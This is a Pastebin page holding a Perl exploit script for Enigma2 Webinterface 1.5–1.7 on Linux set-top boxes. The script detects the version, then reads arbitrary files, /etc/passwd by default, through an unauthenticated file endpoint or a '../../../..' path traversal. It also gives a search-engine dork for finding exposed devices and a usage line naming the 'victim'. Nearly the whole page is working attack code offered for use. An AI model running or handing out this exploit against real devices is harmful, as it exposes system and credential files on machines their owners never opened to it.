Advertisement
hackerscommunity

Enigma2 Webinterface 1.7 1.6 1.5 RFD exploit

Jul 11th, 2015
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.76 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote root file disclosure exploit
  4. ##
  5. #  Author: Todor Donev
  6. #  Email me: todor.donev@@gmail.com
  7. #  Platform: Linux
  8. #  Type: remote
  9. ##
  10. #  Gewgle Dork: "Enigma2 movielist" filetype:rss
  11. ##
  12. #
  13. #  Enigma2 is a framebuffer-based zapping application (GUI) for linux.
  14. #  It's targeted to real set-top-boxes, but would also work on regular PCs.
  15. #  Enigma2 is based on the Python programming language with a backend
  16. #  written in C++. It uses the [LinuxTV DVB API], which is part of a standard linux kernel.
  17. #
  18. #  Enigma2 can also be controlled via an Enigma2:WebInterface.
  19. ##
  20. #  Thanks to Tsvetelina Emirska !!
  21. ##
  22. #  http://www.ethical-hacker.org/
  23. #  https://www.facebook.com/ethicalhackerorg
  24. #
  25. use LWP::Simple;
  26. $t = $ARGV[0];
  27. if(! $t) {usg();}
  28. $d = $ARGV[1];
  29. if(! $d) {$d = "/etc/passwd";}
  30. my $r = get("http://$t/web/about") or exit;
  31. print "[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
  32. print "[+] Target: $t\n";
  33. if ($r =~ m/<e2webifversion>(.*)<\/e2webifversion>/g){
  34. print "[+] Image Version: $1\n";
  35. }
  36. if ($r =~ (m/1.6.0|1.6.1|1.6.2|1.6.3|1.6.4|1.6.5|1.6.6|1.6.7|1.6.8|1.6rc3|1.7.0/i)){
  37. print "[+] Exploiting Enigma2 via type1 (file?file=$d)\n";
  38. result(exploit1());
  39. }
  40. if ($r =~ (m/1.5rc1|1.5beta4/i)){
  41. print "[+] Exploiting Enigma2 via type2 (file/?file=../../../..$d)\n";
  42. result(exploit2());
  43. }
  44. sub usg{
  45. print "\n[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
  46. print "[+] Usage: perl enigma2.pl <victim> </path/file>\n";
  47. exit;
  48. }
  49. sub exploit1{
  50. my $x = get("http://$t/file?file=$d");
  51. }
  52. sub exploit2{
  53. my $x = get("http://$t/file/?file=../../../..$d");
  54. }
  55. sub result{
  56. my $x= shift;
  57. while(defined $x){
  58. print "$x\n";
  59. print "[+] I got it 4 cheap.. =)\n";
  60. exit;
  61. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement